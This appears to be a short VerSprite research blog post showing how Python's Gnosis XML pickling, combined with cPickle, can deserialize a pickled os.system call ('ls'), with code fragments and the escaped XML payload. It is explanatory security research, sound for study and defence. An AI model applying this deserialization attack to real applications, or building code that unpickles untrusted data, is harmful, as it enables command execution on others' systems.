Lately I have been really interested in XML serialization vulnerabilities. There has already been some eye opening research into the vulnerabilities that exist within implementations of Java:
A brief summary of the research above is there are serious issues with the blind serialization of XML documents into native objects. I also came across some research on vulnerabilities that exist with using Python’s Pickle module for object serialization.
So my thought was, “How can I combine the two, and are there any Python modules that assist with the serialization of XML to objects?”
I found what seems to be an outdated implementation of this in the Gnosis Utility package. gnosis.xml.pickle – Allows for XML Pickling of Python objects.
First we need to create something to “pickle” into an object:
obj = cPickle.dumps(doShell())
This returns and stores our system command’s object representation. Now we can use Gnosis to load this:
xml = gnosis.xml.dumps(obj)
And the output looks something like this:
&amp;amp;lt;!DOCTYPE PyObject SYSTEM &amp;amp;quot;PyObjects.dtd&amp;amp;quot;&amp;amp;gt;
&amp;amp;lt;PyObject family=&amp;amp;quot;obj&amp;amp;quot; type=&amp;amp;quot;builtin_wrapper&amp;amp;quot; class=&amp;amp;quot;_EmptyClass&amp;amp;quot;&amp;amp;gt;
&amp;amp;lt;attr name=&amp;amp;quot;__toplevel__&amp;amp;quot; type=&amp;amp;quot;string&amp;amp;quot; value=&amp;amp;quot;cposixnsystemnp1n(S&amp;amp;amp;apos;ls&amp;amp;amp;apos;np2ntp3nRp4n.&amp;amp;quot; /&amp;amp;gt;
From here with simply use Gnosis to consume the XML and use Pickle to load our stored system command object:
result = gnosis.xml.pickle.loads(data)
One of the things I attempted to do is actually take the XML output and load it directly, but I ran into a lot of truncation issues with Pickle, which may or may not have to do with UTF-8.
Still gotta figure that one out… I think some applicable scenarios would be possibly dumping and loading user’s submitted data within a web application using both Pickle and Gnosis.
There weren’t many real world examples that I could find, but regardless you get the picture.
VerSprite’s Research and Development division (a.k.a VS-Labs) is comprised of individuals who are passionate about diving into the internals of various technologies.
Our clients rely on VerSprite’s unique offerings of zero-day vulnerability research and exploit development to protect their assets from various threat actors.
From advanced technical security training to our research for hire B.O.S.S offering, we help organizations solve their most complex technical challenges. Learn more about Research as a Service →
View our security advisories detailing vulnerabilities found in major products for MacOs, Windows, Android, and iOS.